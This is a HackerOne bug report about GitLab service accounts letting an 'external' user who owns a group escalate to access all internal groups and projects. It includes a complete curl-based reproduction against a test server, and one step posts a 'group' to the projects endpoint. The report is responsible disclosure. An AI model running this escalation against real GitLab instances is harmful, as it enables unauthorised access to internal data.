Privilege escalation of "external user" to internal access through group service account
HackerOne report #2040834 by joaxcar
on 2023-06-27, assigned to @kmorrison1:
Report
Summary
The new service account
feature is subject to an similar issue as reported for project access tokens previously.
If a user that has the status of external
is given an owner role to any group or subgroup, the external
user can escalate its privilege on the instance by creating a service account
in that group. The service account
will not be external
and can thus be used to access all internal
projects.
The old report regarding project access tokens is here https://hackerone.com/reports/1193062
It might sound odd to give an external
user owner rights, but there is nothing suggesting against it in the documentation.
Steps to reproduce
Test on a self hosted server
Steps to reproduce:
-
Log in as an administrator
-
Go to https://gitlab.domain.com/-/profile/personal_access_tokens and create an access token for the admin
-
Start up a terminal and create these two variables to be used in subsequent commands (replace url and <ADMIN_TOKEN>)
server_url='https://gitlab.domain.com'
admin_token='<ADMIN_TOKEN>'
- Use the admin token to create an external user and make a note of the created users ID
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "name=External User" \
--data "username=external_user_01" \
--data "external=true" \
--data "skip_confirmation=true" \
--data "password=Safepass001" \
--data "email=external_user@example.com" \
"$server_url/api/v4/users"
- Add a shell variable for external_user (replace ID)
external_user='<ID>'
- Use the admin token to generate an access token for the external user
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "name=external_token" \
--data "scopes[]=api" \
"$server_url/api/v4/users/$external_user/personal_access_tokens"
- Add a shell variable for external_token (replace <EXTERNAL_TOKEN>)
external_token='<EXTERNAL_TOKEN>'
- Create our first internal group and take a note of the group ID
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "name=internal1" \
--data "visibility=internal" \
"$server_url/api/v4/groups"
- Create our second internal group and take a note of the group ID
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "name=internal2" \
--data "visibility=internal" \
"$server_url/api/v4/projects"
- Add shell variables for group 1 and 2 (replace and )
group_1='<ID1>'
group_2='<ID2>'
- Add the external user as owner to internal1
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \
--data "user_id=$external_user&access_level=50" \
"$server_url/api/v4/groups/$group_1/members"
- Request a list of internal groups using the external accounts access token. Verify that only groups 1 is returned.
curl --request GET --header "PRIVATE-TOKEN: $external_token" \
"$server_url/api/v4/groups?visibility=internal"
- Use external users access token to generate a service account, take a note of the account ID
curl --request POST --header "PRIVATE-TOKEN: $external_token" "$server_url/api/v4/groups/$group_1/service_accounts"
and add variable
service_id=<service account id>
- Now run this command to create a token for the service account
curl --request POST --header "PRIVATE-TOKEN: $external_token" "$server_url/api/v4/groups/$group_1/service_accounts/$service_id/personal_access_tokens" --data "scopes[]=api" --data "name=service_accounts_token"
- Add a shell variable for project access token (replace <SERVICE_TOKEN>)
service_token='<SERVICE_TOKEN>'
- Request a list of internal groups using the generated service account token. Verify that all internal groups are now visible.
curl --request GET --header "PRIVATE-TOKEN: $service_token" \
"$server_url/api/v4/groups?visibility=internal"
How does it work today
External users (that owns a group) can create internal service accounts
How it should work
Service accounts created by external users should be made external
Impact
An external user can access all internal projects and groups. Thus leading to high information disclosure and ability to interact by issues. As the internal service account also have write access it can also interact with the internal content
How To Reproduce
Please add reproducibility information to this section: